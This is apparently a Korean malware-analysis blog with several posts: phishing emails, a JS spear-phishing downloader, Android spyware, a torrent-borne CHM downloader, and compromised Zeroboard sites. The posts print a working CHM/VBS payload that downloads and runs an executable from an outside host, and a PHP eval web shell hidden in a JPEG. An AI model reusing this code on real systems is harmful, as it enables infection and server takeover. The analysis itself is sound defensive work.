'분석생활'에 해당되는 글 70건

DHL을 가장한 피싱

Posted by nopsled
2016.03.23 16:56 분석생활



Title : Your sample "67sooon@naver.com" already arrived DHL Local office 


Content :

Dear @@@ ,


HANGZHOU ZHENGSHUO TECHNOLOGY CO.,LTD has arranged a shipment for you.


The shipment will be collected from them on march 22, 2016 and has DHL consignment number: 905492361.


Do you want to follow your package?


Track your shipment




userid 파라미터를 통해서 이메일을 넣는다.

비밀번호 쓰면 smtp나 database에 저장시킨다.



DHL 공식홈페이지에서 tracking number 조회한 경우 없다고 뜬다.

저작자 표시 비영리
신고

Fedex를 이용한 스피어피싱

Posted by nopsled
2016.03.03 22:42 분석생활



압축파일을 하나 던져 주면서 "자세한 내용을 보려면 첨부된 파일을 열어보어라."라고 한다.


해당 압축파일은 패스워드가 걸려 있지 않은 zip파일이며 zip안에는 js파일이 하나 들어있다.



 FileName

 Label_00594831.zip

 MD5

 c097a0e10cfcb30b6fb81ac72452c6e7

 SHA-1

 9fde521ab6b1ba477d0b96df2c46d31b20124e22

 

 

[표1] 압축파일 정보



 FileName

 Label_00594831.doc.js

 MD5

 f35820c6003536e8e706f8059963157f

 SHA-1

 7eccb24fb6d61fbbe6bfe953c8d7e93e91690b0d

 

 

[표1] 악성 스크립트 정보




js파일을 열어보면 난독화가 되어 있는데, 비교적 복호화가 쉬운 자바스크립트이다. 결국엔, eval을 사용하여 자바스크립트를 복호화 시키는데, eval을 alert으로 바꿔주면서 복호화가 가능하다.




스크립트 내용을 보면 teknel.com.ar, bip.zgo.bielsko.pl, lotuswinsingh.com, levi.loback.net, adescbrasil.com.br 이라는 URL에 접속하여 카운터를 남기고 리스폰스값을 얻어와 HTTP Status가 200이라면 .exe로 파일을 저장하는 것으로 보인다. 스크립트를 실행해봤는데 WScript가 정의되어 있지 않아서 그냥 프로그래밍으로 다운받았다.



nopsled@smleeo3o:~/Documents/python/etc/malware (=`ω´=)$ python download.py

teknel.com.ar response is 0!


bip.zgo.bielsko.pl

M Z

2bdcad34fd8cea92232efcb6e5c78bf7

69980031b6e366543c522491917a3e8b8b749f8a


lotuswinsingh.com

M Z

1d13484ab080bac5d2c40e9e33226478

e3d8dab6f3b852dc693dff3b28dc5065bc7aac2c


levi.loback.net

M Z

d48ef4bb0549a67083017169169ef3ee

7a502160f3492e76ea4147c6684432191657443e


adescbrasil.com.br response is 0!


5개의 사이트중, response 0,1부분이 MZ로 실행 가능한 파일임을 알려준다. 게다가 hash값이 모두 다른것으로 보아 모두 다른 실행가능한 파일이라는 것.



nopsled@smleeo3o:~/Documents/python/etc/malware (=`ω´=)$ file *

bip.zgo.bielsko.pl.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

download.py:            ASCII Java program text

levi.loback.net.exe:    PE32 executable for MS Windows (GUI) Intel 80386 32-bit

lotuswinsingh.com.exe:  PE32 executable for MS Windows (GUI) Intel 80386 32-bit 



바이너리 추가 분석은 추후에 더 업로드 하겠음. 혹여나, 궁금하신분들을 위해 파이썬으로 프로그래밍한 소스코드 업로드 했습니다. 다운로드는 하단에서 해주세요. 참고로 저만 쓰려고 만든거라 소스코드가 더럽습니다.



download.py



다음에 포스팅에서 보아요.


추가내용 : 분석시작 했는데 올바른 PE파일이 아니거나(bip.zgo.bielsko.pl.exe) CreateProcessW를 이용하여 프로세스를 생성하지만 프로그래밍 오류로 인하여 실행이 불가능(lotuswinsingh.com.exe, levi.loback.net.exe)하다 판단 됨. 

저작자 표시 비영리
신고

페북에서 올라온 통화녹음 번호정보없음 이슈에 대해

Posted by nopsled
2016.02.12 17:59 분석생활






이미지 출처 : https://www.facebook.com/iliwhoth2/posts/1163720230358996


페북에 이런 게시물이 올라와서 현시각(02-12 17:05)에 좋아요 1.4K정도 된다.


진짜로 이런일이 가능한가?라고 생각을 해봤는데. 가능은 하다.


평소에 녹음이 백그라운드로 돌아갔다면(자고 있는데 녹음이 되어 있는 경우) 의심이 많이 가긴 한다. 안드로이드에서 녹음을 한 후 밖으로 나가면 녹음 앱이 꺼지는 건지는 모르겠다만..


그런데, 녹음 파일이 긴 시간동안(10시간 이상) 됬다면 두 가지 방법으로 나눌 수 있다.


1. 10시간 이상 폰을 켜놓는다. 

2. 녹음된 파일을 읽어들이고 덮어쓰기를 한다. (한마디로 저장된 A라는 녹음 파일을 읽어, B라는 녹음 데이터를 붙이는 방식. 결과는 A+B가 된 녹음파일이 되는거다. 믹싱 같은거라고 해야하나..)


1번 방법의 경우 배터리의 소모가 조금 심할것으로 예상된다. 10시간동안 녹음어플이 돌아가고 있다고 생각하면.. 끔찍하다.

2번의 경우 저런 방식의 악성코드는 거의 없다. 어떤 해커가 귀찮게 10시간동안 소리를 듣는가.. (물론, 돈이 급한 해커는 10시간동안 이어폰꼽거나 스피커폰으로 열심히 듣고 있겠지만..ㅠㅠ)


핸드폰에 astro 파일 관리자?(아무튼.. 안드로이드 파일 탐색기 어플)를 받아서 디렉토리 하나하나 확인했는데 어딘가에 zip파일이 있고 그 압축 파일 안에 음성파일이 있다면 70%는 도청이 거의 맞다고 생각하면 된다. 음성파일을 zip으로 압축하는 이유는 유출하는 서버에 과부하가 일어나지 않게. 파일이 많은 경우 관리하기 편하게 사용하기 위함이다.



녹음 파일이 생기는 이유는?

1. 악성코드에 의해서 저장됬다.

2. 실수로 인하여 녹음 되었다.

3. 녹음앱을 실수로 켜놓고 끄는걸 깜빡(백그라운드로 나가면 녹음 표시가 날테니까 이건 제외한다.)


안드로이드 악성코드가 어떻게 녹음을 진행하는지에 대해서 상세 분석하게 된다면 다음에 포스팅하도록 하겠다.





위 사진은 실제로 다른 사례들이 있나 확인을 해보았는데 여럿 있더라. 뽐뿌나 인스티즈, 쭉빵에서도 대략 2일전부터 난리가 났다.



다음은, 실제로 안드로이드 악성코드를 이용한 도청 여부를 찾아봤다.



- 이미지 출처 : 알약 [악성코드 분석리포트] Spyware. Android.PowerOffHijack (http://blog.alyac.co.kr/293)


대부분의 악성코드가 위의 기능을 탑재하여 사용자의 연락처 유출, 메시지 유출, 오디오 녹음을 통하여 정보를 캐낸다. 특히나 금융권 파밍의 경우 메시지 발송기능을 통하여 감염된 사용자의 연락처를 이용하여 메시지를 전송한다. (이 경우 C&C(제어서버)를 통하여 안드로이드 악성 APK 단축 URL 메시지를 발송한다.)




- 이미지 출처 : 알약 [악성코드 분석리포트] Spyware. Android.PowerOffHijack (http://blog.alyac.co.kr/293)


해당 악성코드(MD5 : 14D9F1A92DD984D6040CC41ED06E273E)는 도청 기능을 수행하며, 수신 발신 내용을 녹취하는 것으로 보여진다.




- 이미지 출처 : [Android Malware] App.apk 분석 (http://darksoulstory.tistory.com/389)


위에서 설명되는 악성코드는 금융권 파밍을 위해서 제작된 악성코드이다. apk파일을 추가로 다운받고 통화 내용을 녹음하는 소스코드이다. 번호정보없음 이라는 파일명으로 저장을 하나 알아보려고 열심히 찾아봤는데 거기까지 상세 분석한 보고서는 없던 것 같다. 분석 보고서의 목적이 대부분 C&C IP를 도출하기 위함으로 파일명이 무엇인지. 해당 악성코드의 UI가 어떻게 생겼는지 등. 거기까지는 분석의 필요가 없는것 같아서 다들 하지 않는 것 같다.



- 이미지 출처 : 통화중 녹음 파일, 음성녹음 파일 저장 경로가 궁금합니다. (https://www.samsungsvc.co.kr:449/online/diagnosisgoVw.do?domainId=NODE0000033866&node_Id=NODE0000124957&kb_Id=KNOW0000017559&pageNo=626)


그런데, 누군가가 녹음을 해서 /sdcard/Sounds 디렉토리에 저장을 하는가..? 너 해킹 당함ㅋ 이라고 광고하는것도 아니고. 혹시 있을지도 모르지만.. 만약이란게 존재하긴 하니깐요. 위에 위에 이미지에서 나왔던 소스 코드를 예시로 들어 다음에 설명하겠다. (내가 아는건 녹음 앱으로 들어가면 /sdcard/Sounds/에 있는 내용들만 가지고 오는것으로 알고 있다.)


CallService.a(this.a, new File(Enviroment.getExternalStorageDirectory(), this.b + "3.gp")); 와 같은 명령어가 있다. 

이 구문은 ExternalStorageDirectory를 구해온다. 이게 무엇이냐면, sdcard의 절대 경로를 구해오는것이다.

결국엔, 이 악성코드는 음성파일을 /sdcard/에 ?.3gp라는 파일로 저장하는 식이 된다.

this.b는 여기 코드에서는 나와있지 않지만 랜덤(혹은 고정)으로 생성되는 파라미터 같다.



- 이미지 출처 : 안드로이드 모바일용 가짜 한국은행 어플을 조심하세요 (http://avast.tistory.com/944)


위 이미지는 어베스트 블로그에서 가져왔다. 유출 진행도 중 11번을 보면 이전에 녹음된 전화 통화내용을 업로드한다. 공격자에겐 중요한 공격 벡터가 될 수도 있기 때문이다. (예를 들자면, 친구랑 통화중에 무엇을 말해주었는데 너무 길고 한번 듣고 외우기엔 힘들고 그렇기에 말해준 은행의 비밀번호라던가.. 게임 아이디의 비밀번호라던가.. 이렇게 무의식한 행동이 나중엔 큰 화를 불러온다. 사진, 영상, 녹음 파일을 상당히 조심해야한다.)


허나, 모든 악성코드가 도청을 하거나 그런건 아니다. 대부분의 악성코드가 그렇다는 것이지.. 예를 들자면, C&C 서버를 두고 주기적으로 통신하는(명령을 받는) 악성코드는 자기 자신을 최신 버전으로 업데이트도 하기도 한다. 또는, 녹음을 시작하거나 메시지를 보내거나 설치한 어플을 삭제할 수도 있다.(예를 들자면 백신어플 삭제)


그렇기에 이 글을 읽는 분들이 생각하는 모든것은 다 된다고 생각하면 된다. 그렇다고 과대망상에 빠져서 폰이 혼자 펑하고 터진다던가.. 그런건 없다. 시스템 파일을 삭제하는 악성코드라면 모를까.. 시스템파일을 삭제해도 공장초기화를 통해 다시 새폰으로 만들 수 있다.


요즘은 랜섬웨어 악성코드가 PC에서도 모잘라 안드로이드까지 공격을 한다고한다. 글의 목적이 조금 달라지긴 했다만... 아무튼 조심히하자.



저작자 표시 비영리
신고

영화 히말라야를 이용한 토렌트 악성코드 유포 주의

Posted by nopsled
2016.01.24 22:39 분석생활


토렌트에X라는 사이트에서 히말라야를 가장한 악성코드가 유포되고 있다.



히말라야 동영상은 MPEG 타입의 헤더부분이 배포자에 의해 수정되어 동영상 열람이 처음부터 불가능하다. 불가능한걸 보고 윈도우에서 "동영상 재생이 안될 경우.chm"파일을 열게 되면 악성코드를 다운받아 PC에 실행하는 역할을 하며 악성코드에 감염이 된다.




 FileName

 동영상 재생이 안될 경우.chm

 MD5

 8D582989BAABF0D5EDA730C7BFE8457D

 SHA-1

 AB31D30940551897C1498B2028949CBBA32AF004

 packer

 Not packed(Type : Downloader)

[표1 - 악성코드 정보]



해당 악성코드는 위와 같은 텍스트를 띄워준다. 이렇게 띄워줌과 동시에 HTML에 삽입된 악성 스크립트가 실행된다. 대부분의 chm파일은 도움말을 위해서 작성되며 HTML을 사용한다.



<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',cmd.exe,/c @echo strHDLocation = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "\goodtorrent.exe" > %TEMP%\ttorrent.vbs && @echo  Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> %TEMP%\ttorrent.vbs && @echo  objXMLHTTP.open "GET", "http://torrent.suregame.co.kr/besttorrent.exe", false >> %TEMP%\ttorrent.vbs && @echo  objXMLHTTP.send() >> %TEMP%\ttorrent.vbs && @echo  If objXMLHTTP.Status = 200 Then >> %TEMP%\ttorrent.vbs && @echo Set objADOStream = CreateObject("ADODB.Stream") >> %TEMP%\ttorrent.vbs && @echo objADOStream.Open >> %TEMP%\ttorrent.vbs && @echo objADOStream.Type = 1 >> %TEMP%\ttorrent.vbs && @echo objADOStream.Write objXMLHTTP.ResponseBody >> %TEMP%\ttorrent.vbs && @echo objADOStream.Position = 0 >> %TEMP%\ttorrent.vbs && @echo Set objFSO = Createobject("Scripting.FileSystemObject") >> %TEMP%\ttorrent.vbs && @echo   If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> %TEMP%\ttorrent.vbs && @echo Set objFSO = Nothing >> %TEMP%\ttorrent.vbs && @echo objADOStream.SaveToFile strHDLocation >> %TEMP%\ttorrent.vbs && @echo objADOStream.Close >> %TEMP%\ttorrent.vbs && @echo Set objADOStream = Nothing >> %TEMP%\ttorrent.vbs && @echo CreateObject("WScript.Shell").Run WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "\goodtorrent.exe" >> %TEMP%\ttorrent.vbs && @echo End if >> %TEMP%\ttorrent.vbs && @echo Set objXMLHTTP = Nothing >> %TEMP%\ttorrent.vbs && %TEMP%\ttorrent.vbs'>

<PARAM name="Item2" value="273,1,1">

</OBJECT>

<script>

x.Click();

</SCRIPT>

위의 내용은 악성 스크립트이다. object 태그를 생성하여 쉘 스크립트를 %TEMP% 경로에 생성하게 만든 html이다.



strHDLocation = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "\goodtorrent.exe"  

 Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")  

 objXMLHTTP.open "GET", "http://torrent.suregame.co.kr/besttorrent.exe", false  

 objXMLHTTP.send()  

 If objXMLHTTP.Status = 200 Then  

Set objADOStream = CreateObject("ADODB.Stream")  

objADOStream.Open  

objADOStream.Type = 1  

objADOStream.Write objXMLHTTP.ResponseBody  

objADOStream.Position = 0  

Set objFSO = Createobject("Scripting.FileSystemObject")  

  If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation  

Set objFSO = Nothing  

objADOStream.SaveToFile strHDLocation  

objADOStream.Close  

Set objADOStream = Nothing  

CreateObject("WScript.Shell").Run WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "\goodtorrent.exe"  

End if  

Set objXMLHTTP = Nothing   

ttorrent.vbs로 %temp%경로에 생성된다.


GET /besttorrent.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.0.3705; .NET4.0C)

Host: torrent.suregame.co.kr

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 24 Jan 2016 12:55:51 GMT

Content-Type: application/octet-stream

Content-Length: 637952

Connection: keep-alive

Set-Cookie: __cfduid=da87bf46149c0b2fd2a9527b44ea236351453640148; expires=Mon, 23-Jan-17 12:55:48 GMT; path=/; domain=.suregame.co.kr; HttpOnly

Last-Modified: Sat, 23 Jan 2016 09:49:00 GMT

ETag: "56a34c8c-9bc00"

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 269be51190313a00-ICN


MZP...... 

아무튼.. chm파일을 실행하면 hxxp://torrent.suregame.co.kr/besttorrent.exe를 다운받는다.




 FileName

 besttorrent.exe

 MD5

 F62DB7925F29E8C6891E486534CC06BD

 SHA-1

 6641197AE026777751864C24755420BADC942D25

 packer

 Borland Delphi 4.0(Not packed)

[표2 - 악성코드 정보]




분석 결과 darkddoser를 이용한 다형성 악성코드로 판별됨. 

해당 악성코드에 대한 내용은 http://nopsled.tistory.com/163에서 자세히 보실 수 있습니다.




 URL

 IP 및 비고

 torrent.suregame.co.kr

 104.28.7.159 (다운로드 서버)

 zom.suregame.co.kr

 45.32.21.95 (C&C)

사용된 C&C는 위와 같다.




* chm파일을 이용하여 머리를 쓴거보니 bcu 확장자를 이용하여 악성코드를 유포했던 조직과 같은 놈인것 같다.

저작자 표시 비영리
신고

UPX 3.0으로 패킹된 악성코드 언패킹

Posted by nopsled
2015.12.15 04:21 분석생활


 FileName 

 esd.exe

 MD5

 EE56D8856646A61D7A2B329FD571955C 

 SHA-1

 A29591FA756521B8BDDAE4A0D0B6495B6E25F772

 Packer

 UPX 3.0




리소스 해커로 열어보면 REGISTRY라는 리소스가 추가되어 있다. 딱봐도 암호화 해두었으니까 Resource에 관련된 API에 BP박고 시작한다.



일반적인 UPX패턴과 살~짝 다르다 0047D027부분에서 CALL EAX를 하는데 저기 부분으로 들어가면 UPX 2.0의 일반적인 패턴을 보여준다.



004497B0   .  60            PUSHAD ; NOW EIP

004497B1   .  BE 00A04300   MOV ESI,esd.0043A000

004497B6   .  8DBE 0070FCFF LEA EDI,DWORD PTR DS:[ESI+FFFC7000]

004497BC   .  57            PUSH EDI

004497BD   .  83CD FF       OR EBP,FFFFFFFF

004497C0   .  EB 10         JMP SHORT esd.004497D2


...중략...


00449964   .  FFD5          CALL EBP

00449966   .  58            POP EAX

00449967   .  61            POPAD

00449968   .  8D4424 80     LEA EAX,DWORD PTR SS:[ESP-80]

0044996C   >  6A 00         PUSH 0

0044996E   .  39C4          CMP ESP,EAX

00449970   .^ 75 FA         JNZ SHORT esd.0044996C

00449972   .  83EC 80       SUB ESP,-80

00449975   .- E9 2297FBFF   JMP esd.0040309C

0044997A      00            DB 00

0044997B      00            DB 00

0044997C      00            DB 00

0044997D      00            DB 00

CALL EAX안으로 들어오면 위와 같은 어셈블리들이 나온다. 뭐 여기서 부터는 UPX 2.0패턴 이므로.. MUP해준다.



73D14431  |.  8B35 D063DB73 MOV ESI,DWORD PTR DS:[<&USER32.LoadStrin>;  USER32.LoadStringA

73D14437  |.  8945 FC       MOV DWORD PTR SS:[EBP-4],EAX

73D1443A  |.  75 2D         JNZ SHORT MFC42.73D14469

73D1443C  |.  E8 953E0900   CALL MFC42.#1168

73D14441  |.  8B78 0C       MOV EDI,DWORD PTR DS:[EAX+C]

73D14444  |.  6A 06         PUSH 6                                   ; /ResourceType = RT_STRING

73D14446  |.  53            PUSH EBX                                 ; |ResourceName

73D14447  |.  8B1D BC62DB73 MOV EBX,DWORD PTR DS:[<&KERNEL32.FindRes>; |kernel32.FindResourceA

73D1444D  |.  57            PUSH EDI                                 ; |hModule

73D1444E  |.  FFD3          CALL EBX                                 ; \FindResourceA

73D14450  |.  85C0          TEST EAX,EAX

73D14452  |.  74 1B         JE SHORT MFC42.73D1446F

73D14454  |.  FF75 10       PUSH DWORD PTR SS:[EBP+10]

73D14457  |.  FF75 0C       PUSH DWORD PTR SS:[EBP+C]

73D1445A  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]

73D1445D  |.  57            PUSH EDI

73D1445E  |.  FFD6          CALL ESI

73D14460  |.  85C0          TEST EAX,EAX

73D14462  |.  74 0B         JE SHORT MFC42.73D1446F

73D14464  |.  E9 12010000   JMP MFC42.73D1457B

73D14469  |>  8B1D BC62DB73 MOV EBX,DWORD PTR DS:[<&KERNEL32.FindRes>;  kernel32.FindResourceA

string을 로드하고 resource를 찾는다.



호환성 안맞아서 분석 끝


저작자 표시 비영리
신고

ro521.com/test.htm 제로보드 침해사고

Posted by nopsled
2015.11.25 03:58 분석생활



<?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe> 

제로보드를 사용중인데 이 녀석이 나타난다면 감염되는 이유는 단 한 가지다. 인터넷을 찾아 보니 그누보드, 제로보드 모두 다 Mass SQL Injection을 당했다고 한다.


/bbs/icon/ 경로에 group_qazwsxedc.jpg, visitLog.php 이 두녀석이 있을꺼다.

꼭 삭제 해주자. 웹쉘이다.



���JFIF``��C

��C ��
"��
���}!1AQa"q2걨�#B굽R蘭$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz깂뀊뇠뎷뮄뵓뼏삕슓$ⅵ㎤ø껙뉘떱많봔쳐탬픽�錄桐虜妹伴栒鴨鉛僥揄膣逮擢票��
���w!1AQaq"2�B몼굽 #3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz굛꼨냷닀뒕뱮븭뿕솞∀ㄵ├Łげ낫독렇뭔쩠컵판훔杆戇倆厘描栒鴨鉛僥攸彩充坂沆��?�M쥓*�?��<?php
$logFileHandle = fopen("./icon/visitLog.php", "x+");
$logContent = "<?php eval(\$_POST[cmd]);?>";
fwrite($logFileHandle,$logContent);
fclose($logFileHandle);
echo getcwd();
?>



group_qazwsxedc.jpg를 보면 생긴건 JFIF를 포맷을 가진 이미지처럼 보이지만, 뒤에는 웹쉘에 사용될 문자열들이 있다.


visitLog.php는 cmd에 받은 내용을 php로 저장한다.



참고자료 : http://blog.pages.kr/928

저작자 표시 비영리
신고

가톨릭대학교 입학처 악성코드 경유지로 이용?

Posted by nopsled
2015.11.25 03:09 분석생활





2015-11-24 03:18:29http://ipsi.catholic.ac.kr/main/index.asp59835DC727054D056A8E0E3914989598211.174.52.78KRHTML/IFRAME.gen


악성코드 경유지로 이용된 건지는 확실치는 않으나 HTML/IFRAME generate로 탐지가 되었다. 이유가 있으니 탐지했겠지. 샘플 입수는 못했으므로 자세한 내용은 없음..



추가내용))

가톨릭대학교 말고도 카이스트 twilight 홈페이지에서도 침해사고(?)의 흔적이 보인다.


<iframe src="hxxp://ro521.com/test.htm" width=0 height=0></iframe> 

아마 가톨릭대학교 입학처도 ro521.com이 iframe 박혀 있었던 것으로 추정된다.

저작자 표시 비영리
신고

[마스킹 처리된 게시물] ****에서 파밍 악성코드 유포지로 활용중

Posted by nopsled
2015.11.25 03:05 분석생활


요청으로 인하여 이미지가 삭제 되었습니다.

외부 요청으로 인하여 사이트 주소 및 제목이 마스킹 처리 되었습니다.


  현재, 파밍에 사용되는 바이너리만 업로드 되어 있다. 사이트가 침해 당하여 유포지로 사용되는듯 싶다.



 FileName

 hripr.exe

 MD5

 5D55740A1849BA19DCE2A94E59F2515C

 SHA-1

 925FC976BB9EE71E1F70595B011994394AC6285F

 Packer

 PE-PACK v1.0 by ANAKiN 1998 (???)

  악성코드 정보표 (언패킹 방법에 대해서는 http://nopsled.tistory.com/164 를 참고하면 된다.)




RedTom21@hotmail.com

악성코드 제작자의 메일주소인가? 모르겠다.



00401B0B  /$  55            PUSH EBP

00401B0C  |.  8BEC          MOV EBP,ESP

00401B0E  |.  83EC 28       SUB ESP,28

00401B11  |.  56            PUSH ESI

00401B12  |.  57            PUSH EDI

00401B13  |.  B9 06000000   MOV ECX,6

00401B18  |.  BE 48714000   MOV ESI,hripr.00407148                   ;  ASCII "ekimhuqcroanflvzgdjtxypswb"

00401B1D  |.  8D7D DC       LEA EDI,DWORD PTR SS:[EBP-24]

00401B20  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

00401B22  |.  66:A5         MOVS WORD PTR ES:[EDI],WORD PTR DS:[ESI]

00401B24  |.  A4            MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

00401B25  |.  FF15 10504000 CALL DWORD PTR DS:[405010]               ; [GetTickCount

00401B2B  |.  50            PUSH EAX                                 ; /seed

00401B2C  |.  FF15 C4524000 CALL DWORD PTR DS:[4052C4]               ; \srand

00401B32  |.  83C4 04       ADD ESP,4

00401B35  |.  FF15 D4524000 CALL DWORD PTR DS:[4052D4]               ; [rand

00401B3B  |.  99            CDQ

00401B3C  |.  B9 0A000000   MOV ECX,0A

00401B41  |.  F7F9          IDIV ECX

00401B43  |.  8955 FC       MOV DWORD PTR SS:[EBP-4],EDX

00401B46  |.  8B55 FC       MOV EDX,DWORD PTR SS:[EBP-4]

00401B49  |.  3B55 0C       CMP EDX,DWORD PTR SS:[EBP+C]

00401B4C  |.  7C 08         JL SHORT hripr.00401B56

00401B4E  |.  8B45 FC       MOV EAX,DWORD PTR SS:[EBP-4]

00401B51  |.  8945 D8       MOV DWORD PTR SS:[EBP-28],EAX

00401B54  |.  EB 06         JMP SHORT hripr.00401B5C

00401B56  |>  8B4D 0C       MOV ECX,DWORD PTR SS:[EBP+C]

00401B59  |.  894D D8       MOV DWORD PTR SS:[EBP-28],ECX

00401B5C  |>  8B55 D8       MOV EDX,DWORD PTR SS:[EBP-28]

00401B5F  |.  8955 FC       MOV DWORD PTR SS:[EBP-4],EDX

00401B62  |.  C745 F8 00000>MOV DWORD PTR SS:[EBP-8],0

00401B69  |.  EB 09         JMP SHORT hripr.00401B74

00401B6B  |>  8B45 F8       /MOV EAX,DWORD PTR SS:[EBP-8]

00401B6E  |.  83C0 01       |ADD EAX,1

00401B71  |.  8945 F8       |MOV DWORD PTR SS:[EBP-8],EAX

00401B74  |>  8B4D F8        MOV ECX,DWORD PTR SS:[EBP-8]

00401B77  |.  3B4D FC       |CMP ECX,DWORD PTR SS:[EBP-4]

00401B7A  |.  7D 1C         |JGE SHORT hripr.00401B98

00401B7C  |.  FF15 D4524000 |CALL DWORD PTR DS:[4052D4]              ; [rand

00401B82  |.  99            |CDQ

00401B83  |.  B9 1A000000   |MOV ECX,1A

00401B88  |.  F7F9          |IDIV ECX

00401B8A  |.  8B45 08       |MOV EAX,DWORD PTR SS:[EBP+8]

00401B8D  |.  0345 F8       |ADD EAX,DWORD PTR SS:[EBP-8]

00401B90  |.  8A4C15 DC     |MOV CL,BYTE PTR SS:[EBP+EDX-24]

00401B94  |.  8808          |MOV BYTE PTR DS:[EAX],CL

00401B96  |.^ EB D3         \JMP SHORT hripr.00401B6B

00401B98  |>  8B45 FC       MOV EAX,DWORD PTR SS:[EBP-4]

00401B9B  |.  5F            POP EDI

00401B9C  |.  5E            POP ESI

00401B9D  |.  8BE5          MOV ESP,EBP

00401B9F  |.  5D            POP EBP

00401BA0  \.  C3            RETN 

  파일명 랜덤 생성을 위한 루틴이다. "ekimhuqcroanflvzgdjtxypswb"의 문자열을 사용하여 랜덤하게 6자리를 뽑아내어 파일을 복제한다.



00401DCF  |.  52            PUSH EDX                                 ; /Buffer

00401DD0  |.  68 04010000   PUSH 104                                 ; |BufSize = 104 (260.)

00401DD5  |.  FF15 1C504000 CALL DWORD PTR DS:[40501C]               ; \GetTempPathA

00401DDB  |.  8D85 ECFEFFFF LEA EAX,DWORD PTR SS:[EBP-114]

00401DE1  |.  50            PUSH EAX                                 ; /<%s>

00401DE2  |.  8D8D E0FCFFFF LEA ECX,DWORD PTR SS:[EBP-320]           ; |

00401DE8  |.  51            PUSH ECX                                 ; |<%s>

00401DE9  |.  68 64714000   PUSH hripr.00407164                      ; |Format = "%s\%s.exe"

00401DEE  |.  8D95 FCFEFFFF LEA EDX,DWORD PTR SS:[EBP-104]           ; |

00401DF4  |.  52            PUSH EDX                                 ; |s

00401DF5  |.  FF15 F8524000 CALL DWORD PTR DS:[4052F8]               ; \wsprintfA

00401DFB  |.  83C4 10       ADD ESP,10

00401DFE  |.  6A 00         PUSH 0                                   ; /hTemplateFile = NULL

00401E00  |.  68 80000000   PUSH 80                                  ; |Attributes = NORMAL

00401E05  |.  6A 02         PUSH 2                                   ; |Mode = CREATE_ALWAYS

00401E07  |.  6A 00         PUSH 0                                   ; |pSecurity = NULL

00401E09  |.  6A 02         PUSH 2                                   ; |ShareMode = FILE_SHARE_WRITE

00401E0B  |.  68 00000040   PUSH 40000000                            ; |Access = GENERIC_WRITE

00401E10  |.  8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104]           ; |

00401E16  |.  50            PUSH EAX                                 ; |FileName = "C:\DOCUME~1\nopsled\LOCALS~1\Temp\\ynpltj.exe"

00401E17  |.  FF15 70504000 CALL DWORD PTR DS:[405070]               ; \CreateFileA


... 중략 ...


00401E44  |.  6A 64         PUSH 64                                  ; /Timeout = 100. ms

00401E46  |.  FF15 20504000 CALL DWORD PTR DS:[405020]               ; \Sleep

00401E4C  |.  6A 00         PUSH 0                                   ; /pOverlapped = NULL

00401E4E  |.  8D85 DCFCFFFF LEA EAX,DWORD PTR SS:[EBP-324]           ; |

00401E54  |.  50            PUSH EAX                                 ; |pBytesWritten

00401E55  |.  8B8D E4FDFFFF MOV ECX,DWORD PTR SS:[EBP-21C]           ; |

00401E5B  |.  51            PUSH ECX                                 ; |nBytesToWrite

00401E5C  |.  8B95 CCFCFFFF MOV EDX,DWORD PTR SS:[EBP-334]           ; |

00401E62  |.  52            PUSH EDX                                 ; |Buffer

00401E63  |.  8B85 D0FCFFFF MOV EAX,DWORD PTR SS:[EBP-330]           ; |

00401E69  |.  50            PUSH EAX                                 ; |hFile

00401E6A  |.  FF15 18504000 CALL DWORD PTR DS:[405018]               ; \WriteFile

00401E70  |.  6A 64         PUSH 64                                  ; /Timeout = 100. ms

00401E72  |.  FF15 20504000 CALL DWORD PTR DS:[405020]               ; \Sleep

00401E78  |.  6A 00         PUSH 0                                   ; /pOverlapped = NULL

00401E7A  |.  8D8D DCFCFFFF LEA ECX,DWORD PTR SS:[EBP-324]           ; |

00401E80  |.  51            PUSH ECX                                 ; |pBytesWritten

00401E81  |.  8B95 D8FCFFFF MOV EDX,DWORD PTR SS:[EBP-328]           ; |

00401E87  |.  52            PUSH EDX                                 ; |nBytesToWrite

00401E88  |.  8B85 D4FCFFFF MOV EAX,DWORD PTR SS:[EBP-32C]           ; |

00401E8E  |.  50            PUSH EAX                                 ; |Buffer

00401E8F  |.  8B8D D0FCFFFF MOV ECX,DWORD PTR SS:[EBP-330]           ; |

00401E95  |.  51            PUSH ECX                                 ; |hFile

00401E96  |.  FF15 18504000 CALL DWORD PTR DS:[405018]               ; \WriteFile

00401E9C  |.  8B95 D0FCFFFF MOV EDX,DWORD PTR SS:[EBP-330]

00401EA2  |.  52            PUSH EDX                                 ; /hObject

00401EA3  |.  FF15 0C504000 CALL DWORD PTR DS:[40500C]               ; \CloseHandle

%TEMP%경로에 [랜덤6자리].exe를 자가 복제한다.



0012F664   00401F5F  /CALL to wsprintfA from hripr.00401F59

0012F668   0012F690  |s = 0012F690

0012F66C   00407170  |Format = "cmd.exe /c ping 127.0.0.1 -n 2&%s "%s""

0012F670   0012FCC0  |<%s> = "C:\DOCUME~1\nopsled\LOCALS~1\Temp\\ynpltj.exe"

